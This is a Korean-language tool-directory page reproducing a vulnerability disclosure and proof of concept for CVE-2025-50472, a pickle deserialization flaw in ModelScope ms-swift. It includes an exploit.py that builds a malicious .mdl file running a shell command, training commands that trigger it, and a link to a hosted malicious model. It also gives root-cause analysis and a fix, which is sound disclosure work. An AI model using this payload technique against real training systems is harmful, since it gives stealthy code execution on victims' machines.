Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-50472 — CVE-2025-50472에 대한 개념 증명 익스플로잇, 악성 .mdl 파일을 통한 ModelScope ms-swift의 ModelFileSystemCache의 역직렬화 RCE 취약점 | Kitploit
도구/GitHubGitHub/before-rain/cve-2025-50472
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

CVE-2025-50472에 대한 개념 증명 익스플로잇, 악성 .mdl 파일을 통한 ModelScope ms-swift의 ModelFileSystemCache의 역직렬화 RCE 취약점

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점

RCE PoC

테스트 목적으로 악성 .mdl 파일이 포함된 코드 저장소를 ModelScope에 업로드했습니다. 테스트 중에 직접 사용할 수 있습니다. 링크는 다음과 같습니다: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

이미지

.mdl 파일에는 악성 코드가 포함되어 있지만 ModelScope에는 보안 경고가 표시되지 않습니다.

PoC 코드:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

이슈 재현 절차는 다음과 같습니다:

  1. 모델이 다운로드됩니다.

    p1
  2. 악성 코드가 실행된 후에도 훈련이 중단 없이 정상적으로 진행됩니다.

    이미지
  3. 악성 페이로드가 성공적으로 실행됩니다.

    이미지

1. 취약점의 개요 및 영향:

modelscope/ms-swift 라이브러리(2.6.1 이하)는 ModelFileSystemCache() 클래스의 load_model_meta() 함수 내에서 신뢰할 수 없는 데이터의 역직렬화를 통한 임의 코드 실행 취약점이 있습니다. 공격자는 악성 직렬화된 .mdl 페이로드를 제작하여 잠재적으로 신뢰할 수 없는 소스의 데이터에 pickle.load()를 사용하는 것을 악용함으로써 임의 코드와 명령을 실행할 수 있습니다. 이 취약점은 정상적인 훈련 과정 중에 피해자가 무해해 보이는 체크포인트를 로드하도록 속여 원격 코드 실행(RCE)을 가능하게 하여, 공격자가 대상 시스템에서 임의 코드를 실행할 수 있도록 합니다.

페이로드 파일은 숨김 파일이므로 피해자가 변조를 감지하기 어렵습니다. 더 중요한 것은, 모델 훈련 과정 중 .mdl 파일이 로드되어 임의 코드가 실행된 후에도 정상적인 훈련 과정은 영향을 받지 않으므로 사용자는 임의 코드 실행을 인지하지 못한다는 점입니다.

2. 취약한 제품

  • 제품: modelscope ms-swift
  • 모듈: ModelFileSystemCache
  • 파일: swift/hub/utils/caching.py
  • 버전: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. 근본 원인 분석

  • 취약점 상세 설명: 이 취약점은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생합니다. 스크립트는 숨겨진 캐시 파일을 로드하기 위해 pickle.load를 사용하며 코드 실행에 취약합니다.

  • 취약점 조건에 도달하는 입력부터의 코드 흐름:

    • 모델 훈련 중 사용자는 기본 모델 다운로드 방법을 사용하여 ModelScope에서 모델을 얻습니다. 모델은 ~/.cache/modelscope/hub/xx/xx 경로에 저장되며, 모델 디렉토리에 .mdl 캐시 파일이 존재하며 모델 이름과 같은 기본 정보를 포함합니다.
    • 그런 다음 사용자는 다운로드한 모델을 미세 조정 또는 기타 훈련 절차에 사용합니다.
    • caching.py 스크립트가 .mdl 파일을 역직렬화할 때 파일에 포함된 악성 코드가 실행됩니다.
  • 주입 포인트: 취약점은 pickle.load가 호출되는 지점에서 발생합니다. GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • 제안된 수정: 구성 파일(모델 파일이 아닌)을 처리할 때는 yaml.safe_load(yaml_file) 또는 json.load와 같은 더 안전한 파일 구문 분석 방법을 채택하여 임의 코드 실행 위험을 완화하는 것이 좋습니다.

4. PoC

  1. exploit.py를 실행하여 피해자 시스템에 디렉토리를 생성하는 악성 캐시 파일 .mdl을 생성합니다:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. 모델 디렉토리에 있는 원래 .mdl 파일을 위에서 생성한 악의적으로 조작된 파일로 교체합니다.

  2. 훈련 중에 model_id_or_path 매개변수를 지정하여 로컬 모델 디렉토리를 참조하면, 지정된 경로에 변조된 .mdl 파일이 원격 코드 실행(RCE)을 초래할 수 있습니다. 중요한 점은, 이러한 수정이 정상적인 훈련 워크플로우를 방해하지 않으므로 RCE 공격이 은밀해지고 사용자가 탐지하기 어렵다는 것입니다.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

작성자

Hao Fan(凡浩) and Yu Rong(戎誉)

도구 다운로드